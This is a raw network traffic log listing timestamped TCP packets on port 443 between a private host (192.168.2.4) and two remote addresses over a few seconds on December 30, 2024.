Dec 30, 2024 11:37:03.006984949 CET	50198	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.008132935 CET	443	50198	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.008193016 CET	50198	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.009454012 CET	443	50199	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.009522915 CET	50199	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.010123014 CET	50198	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.010137081 CET	443	50198	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.010241032 CET	443	50199	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.010283947 CET	50199	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.010394096 CET	443	50198	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.010520935 CET	50198	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.011112928 CET	50198	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.012392044 CET	50199	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.012401104 CET	443	50199	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.012712002 CET	443	50199	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.012763977 CET	50199	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.013123035 CET	50199	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.047022104 CET	443	50201	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.047095060 CET	50201	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.047513962 CET	50201	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.047523975 CET	443	50201	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.047708988 CET	50201	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.047714949 CET	443	50201	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.055331945 CET	443	50198	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.059326887 CET	443	50199	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.060332060 CET	443	50200	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.060462952 CET	50200	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.060796976 CET	50200	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.060803890 CET	443	50200	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.060961962 CET	50200	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.060966969 CET	443	50200	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.296890974 CET	443	50199	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.296950102 CET	50199	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.296973944 CET	443	50199	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.297013998 CET	50199	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.297211885 CET	50199	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.297481060 CET	443	50199	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.297534943 CET	50199	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.298187971 CET	50207	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.298223019 CET	443	50207	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.298295975 CET	50207	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.303141117 CET	50207	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.303154945 CET	443	50207	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.381970882 CET	443	50198	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.382057905 CET	50198	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.382086992 CET	443	50198	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.382802963 CET	443	50198	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.382870913 CET	50198	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.388000011 CET	50198	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.388009071 CET	443	50198	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.388791084 CET	50209	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.388827085 CET	443	50209	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.388885975 CET	50209	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.389523983 CET	50209	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.389539003 CET	443	50209	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.459777117 CET	443	50201	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.459846973 CET	443	50201	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.459846020 CET	50201	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.459873915 CET	443	50201	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.459888935 CET	50201	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.459920883 CET	50201	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.459927082 CET	443	50201	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.460438013 CET	50201	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.460669041 CET	50201	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.460712910 CET	443	50201	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.460908890 CET	443	50201	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.460958004 CET	50201	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.460973978 CET	50201	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.461215019 CET	50214	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.461271048 CET	443	50214	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.461340904 CET	50214	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.461682081 CET	50214	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.461700916 CET	443	50214	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.621304035 CET	443	50200	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.621354103 CET	443	50200	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.621377945 CET	50200	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.621407032 CET	443	50200	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.621423006 CET	50200	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.621445894 CET	50200	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.621450901 CET	443	50200	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.621481895 CET	443	50200	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.621489048 CET	50200	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.621525049 CET	50200	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.623354912 CET	50200	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.623372078 CET	443	50200	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.624130964 CET	50215	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.624176979 CET	443	50215	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.624242067 CET	50215	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.624433041 CET	50215	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:03.624444962 CET	443	50215	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.912148952 CET	443	50207	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.912218094 CET	50207	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.912688017 CET	50207	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.912697077 CET	443	50207	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:03.914356947 CET	50207	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:03.914361954 CET	443	50207	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:04.024183989 CET	443	50209	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:04.025830030 CET	50209	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.026257992 CET	50209	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.026266098 CET	443	50209	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:04.026484013 CET	50209	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.026501894 CET	443	50209	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:04.063951969 CET	443	50214	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:04.064038038 CET	50214	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:04.079145908 CET	50214	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:04.079164028 CET	443	50214	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:04.079437017 CET	443	50214	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:04.079504967 CET	50214	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:04.079929113 CET	50214	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:04.127326965 CET	443	50214	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:04.252490997 CET	443	50215	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:04.252583027 CET	50215	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:04.258527040 CET	50215	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:04.258538961 CET	443	50215	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:04.258824110 CET	443	50215	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:04.258883953 CET	50215	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:04.259515047 CET	50215	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:04.279290915 CET	443	50207	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:04.279382944 CET	50207	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.279704094 CET	443	50207	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:04.279742002 CET	50207	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.279750109 CET	443	50207	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:04.279818058 CET	50207	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.282129049 CET	50207	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.282141924 CET	443	50207	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:04.282157898 CET	50207	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.282186031 CET	50207	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.282768965 CET	50222	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.282814980 CET	443	50222	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:04.282866955 CET	50222	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.283092976 CET	50222	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.283109903 CET	443	50222	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:04.307322979 CET	443	50215	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:04.402337074 CET	443	50209	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:04.402439117 CET	50209	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.403295040 CET	443	50209	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:04.403352976 CET	443	50209	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:04.403482914 CET	50209	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.403522015 CET	50209	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.409415960 CET	50209	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.409415960 CET	50209	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.409434080 CET	443	50209	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:04.409965038 CET	50223	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.410007000 CET	443	50223	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:04.410073996 CET	50214	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:04.410094023 CET	50223	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.410415888 CET	50209	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.419662952 CET	50224	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:04.419713020 CET	443	50224	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:04.419747114 CET	50215	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:04.419785023 CET	50224	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:04.419804096 CET	50222	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.421665907 CET	50225	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.421696901 CET	443	50225	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:04.421750069 CET	50225	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.422100067 CET	50226	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:04.422128916 CET	443	50226	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:04.422148943 CET	50224	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:04.422163010 CET	443	50224	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:04.422179937 CET	50226	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:04.422529936 CET	50226	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:04.422549009 CET	443	50226	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:04.422723055 CET	50225	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.422733068 CET	443	50225	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:04.423646927 CET	50223	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:04.423659086 CET	443	50223	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.025749922 CET	443	50224	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.025814056 CET	50224	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.025841951 CET	443	50225	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.025913954 CET	50225	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.026462078 CET	50224	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.026473045 CET	443	50224	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.026616096 CET	443	50225	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.026638031 CET	50224	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.026643991 CET	443	50224	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.026660919 CET	50225	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.028316021 CET	50225	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.028327942 CET	443	50225	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.028580904 CET	443	50225	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.028636932 CET	50225	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.028954983 CET	50225	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.041042089 CET	443	50226	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.041105032 CET	50226	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.041503906 CET	50226	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.041512012 CET	443	50226	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.041644096 CET	50226	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.041650057 CET	443	50226	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.050699949 CET	443	50223	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.050782919 CET	50223	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.051501036 CET	443	50223	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.051556110 CET	50223	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.053996086 CET	50223	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.054008007 CET	443	50223	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.054284096 CET	443	50223	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.054332018 CET	50223	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.054699898 CET	50223	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.075340986 CET	443	50225	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.095338106 CET	443	50223	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.397420883 CET	443	50225	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.397492886 CET	50225	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.397524118 CET	443	50225	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.397563934 CET	50225	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.397993088 CET	50225	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.398022890 CET	443	50225	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.398077011 CET	50225	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.399211884 CET	50234	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.399252892 CET	443	50234	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.399400949 CET	50234	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.399768114 CET	50234	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.399789095 CET	443	50234	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.424066067 CET	443	50223	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.424139023 CET	50223	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.425041914 CET	443	50223	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.425080061 CET	50223	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.425084114 CET	443	50223	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.426266909 CET	50223	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.431675911 CET	443	50224	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.431725979 CET	443	50224	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.431787014 CET	50224	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.431811094 CET	443	50224	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.431849003 CET	50224	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.432403088 CET	443	50224	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.432441950 CET	50224	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.432456970 CET	443	50224	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.432490110 CET	50224	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.435628891 CET	50223	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.435645103 CET	443	50223	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.435652018 CET	50223	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.435683012 CET	50223	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.436444998 CET	50235	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.436482906 CET	443	50235	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.436702013 CET	50235	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.437474012 CET	50224	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.437489033 CET	443	50224	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.437618017 CET	50235	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:05.437632084 CET	443	50235	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:05.438976049 CET	50236	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.439002037 CET	443	50236	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.439049959 CET	50236	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.439204931 CET	50236	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.439213037 CET	443	50236	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.589210033 CET	443	50226	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.589270115 CET	443	50226	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.589293003 CET	50226	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.589317083 CET	443	50226	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.589329004 CET	50226	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.589354992 CET	50226	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.589360952 CET	443	50226	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.589382887 CET	443	50226	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.589421034 CET	50226	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.590008974 CET	50226	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.590022087 CET	443	50226	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.590434074 CET	50241	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.590456963 CET	443	50241	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:05.590507030 CET	50241	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.590744972 CET	50241	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:05.590758085 CET	443	50241	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.003108978 CET	443	50234	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.003184080 CET	50234	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.003904104 CET	443	50234	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.003959894 CET	50234	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.007317066 CET	50234	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.007330894 CET	443	50234	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.007576942 CET	443	50234	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.007801056 CET	50234	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.008198977 CET	50234	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.037447929 CET	443	50235	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.037586927 CET	50235	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.038235903 CET	443	50235	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.038295984 CET	50235	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.044095993 CET	50235	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.044123888 CET	443	50235	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.044365883 CET	443	50235	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.044626951 CET	50235	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.044887066 CET	50235	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.055330038 CET	443	50234	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.069323063 CET	443	50236	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.069392920 CET	50236	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.069783926 CET	50236	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.069794893 CET	443	50236	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.071536064 CET	50236	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.071541071 CET	443	50236	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.091331959 CET	443	50235	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.208439112 CET	443	50241	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.208525896 CET	50241	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.209041119 CET	50241	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.209069967 CET	443	50241	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.209312916 CET	50241	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.209327936 CET	443	50241	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.371233940 CET	443	50234	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.371340036 CET	50234	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.371428013 CET	50234	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.371469975 CET	443	50234	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.371632099 CET	443	50234	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.371654034 CET	50234	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.371675014 CET	50234	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.372041941 CET	50250	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.372082949 CET	443	50250	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.372137070 CET	50250	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.372375965 CET	50250	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.372392893 CET	443	50250	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.402590990 CET	443	50235	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.402643919 CET	50235	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.402658939 CET	443	50235	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.402705908 CET	50235	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.402797937 CET	50235	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.402852058 CET	443	50235	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.402903080 CET	50235	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.403409958 CET	50251	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.403448105 CET	443	50251	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.403512001 CET	50251	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.403718948 CET	50251	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.403728962 CET	443	50251	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.488253117 CET	443	50236	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.488310099 CET	443	50236	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.488332987 CET	50236	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.488367081 CET	443	50236	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.488380909 CET	50236	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.488446951 CET	443	50236	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.488490105 CET	50236	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.514909983 CET	50236	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.514935970 CET	443	50236	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.515422106 CET	50252	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.515466928 CET	443	50252	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.515590906 CET	50252	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.515805960 CET	50252	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.515841961 CET	443	50252	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.642585993 CET	443	50241	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.642643929 CET	443	50241	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.642656088 CET	50241	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.642687082 CET	443	50241	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.642699957 CET	50241	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.642729998 CET	50241	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.642735004 CET	443	50241	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.642757893 CET	443	50241	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.642781973 CET	50241	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.642829895 CET	50241	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.651777983 CET	50241	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.651815891 CET	443	50241	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.653094053 CET	50253	443	192.168.2.4	142.250.186.97
